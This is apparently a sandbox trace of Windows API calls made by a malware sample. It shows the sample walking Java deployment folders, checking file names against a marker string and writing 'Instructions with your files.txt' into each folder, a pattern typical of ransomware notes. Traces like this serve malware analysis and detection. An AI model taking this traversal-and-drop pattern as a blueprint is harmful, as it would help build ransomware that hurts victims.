[0131.179] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.180] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\.") returned 72
[0131.180] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1ea6db0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.180] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\..") returned 73
[0131.180] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa1ea6db0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1ea6db0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xfec5c570, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x2cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployment.properties", cAlternateFileName="DEPLOY~1.PRO")) returned 1
[0131.180] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\deployment.properties") returned 92
[0131.180] StrStrIW (lpFirst="deployment.properties", lpSrch="SDfghjkl") returned 0x0
[0131.180] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="security", cAlternateFileName="")) returned 1
[0131.180] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security") returned 79
[0131.180] GetProcessHeap () returned 0x810000
[0131.180] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.180] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*") returned 81
[0131.180] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.181] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\.") returned 81
[0131.181] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.181] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\..") returned 82
[0131.181] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1e5aaf0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1e5aaf0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1e5aaf0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.181] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\Instructions with your files.txt") returned 112
[0131.181] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\security\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\security\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.182] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.183] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.183] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.183] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.183] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.183] CloseHandle (hObject=0x120) returned 1
[0131.183] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.183] GetProcessHeap () returned 0x810000
[0131.183] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.183] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 1
[0131.183] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp") returned 74
[0131.183] GetProcessHeap () returned 0x810000
[0131.183] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22e0050
[0131.183] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*") returned 76
[0131.183] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\*", lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876db8
[0131.184] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\.") returned 76
[0131.184] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.184] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\..") returned 77
[0131.184] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 1
[0131.184] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si") returned 77
[0131.184] GetProcessHeap () returned 0x810000
[0131.184] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22f1060
[0131.184] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*") returned 79
[0131.184] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\*", lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876df8
[0131.185] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\.") returned 79
[0131.185] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.185] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\..") returned 80
[0131.185] FindNextFileW (in: hFindFile=0x876df8, lpFindFileData=0x22ce1e4 | out: lpFindFileData=0x22ce1e4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfeca8830, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0
[0131.185] wnsprintfW (in: pszDest=0x22f1060, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\Instructions with your files.txt") returned 110
[0131.185] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\si\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\tmp\\si\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124
[0131.185] WriteFile (in: hFile=0x124, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce1c4*=0x54, lpOverlapped=0x0) returned 1
[0131.186] WriteFile (in: hFile=0x124, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce1c4*=0x18, lpOverlapped=0x0) returned 1
[0131.186] WriteFile (in: hFile=0x124, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce1c4*=0xc, lpOverlapped=0x0) returned 1
[0131.187] WriteFile (in: hFile=0x124, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce1c4*=0x16, lpOverlapped=0x0) returned 1
[0131.187] WriteFile (in: hFile=0x124, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce1c4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce1c4*=0x23, lpOverlapped=0x0) returned 1
[0131.187] CloseHandle (hObject=0x124) returned 1
[0131.187] FindClose (in: hFindFile=0x876df8 | out: hFindFile=0x876df8) returned 1
[0131.187] GetProcessHeap () returned 0x810000
[0131.187] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22f1060 | out: hHeap=0x810000) returned 1
[0131.187] FindNextFileW (in: hFindFile=0x876db8, lpFindFileData=0x22ce474 | out: lpFindFileData=0x22ce474*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xfaeead90, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xfaeead90, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="si", cAlternateFileName="")) returned 0
[0131.187] wnsprintfW (in: pszDest=0x22e0050, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\Instructions with your files.txt") returned 107
[0131.187] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\tmp\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\tmp\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
[0131.187] WriteFile (in: hFile=0x120, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce454*=0x54, lpOverlapped=0x0) returned 1
[0131.188] WriteFile (in: hFile=0x120, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce454*=0x18, lpOverlapped=0x0) returned 1
[0131.188] WriteFile (in: hFile=0x120, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce454*=0xc, lpOverlapped=0x0) returned 1
[0131.188] WriteFile (in: hFile=0x120, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce454*=0x16, lpOverlapped=0x0) returned 1
[0131.188] WriteFile (in: hFile=0x120, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce454, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce454*=0x23, lpOverlapped=0x0) returned 1
[0131.188] CloseHandle (hObject=0x120) returned 1
[0131.189] FindClose (in: hFindFile=0x876db8 | out: hFindFile=0x876db8) returned 1
[0131.189] GetProcessHeap () returned 0x810000
[0131.189] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22e0050 | out: hHeap=0x810000) returned 1
[0131.189] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa1dc2570, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xa1dc2570, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0xa1dc2570, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tmp", cAlternateFileName="")) returned 0
[0131.189] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\Instructions with your files.txt") returned 103
[0131.189] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\Deployment\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\deployment\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0131.191] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0131.192] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0131.192] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0131.192] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0131.192] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0131.192] CloseHandle (hObject=0x11c) returned 1
[0131.192] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0131.192] GetProcessHeap () returned 0x810000
[0131.192] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x22d0048 | out: hHeap=0x810000) returned 1
[0131.192] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="jre1.7.0_45", cAlternateFileName="JRE17~1.0_4")) returned 1
[0131.192] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45") returned 71
[0131.192] GetProcessHeap () returned 0x810000
[0131.192] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x22d0048
[0131.192] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*") returned 73
[0131.192] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0131.193] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\.") returned 73
[0131.193] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.193] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\..") returned 74
[0131.193] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1
[0131.193] wnsprintfW (in: pszDest=0x22d0048, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned 81
[0131.193] StrStrIW (lpFirst="Data1.cab", lpSrch="SDfghjkl") returned 0x0
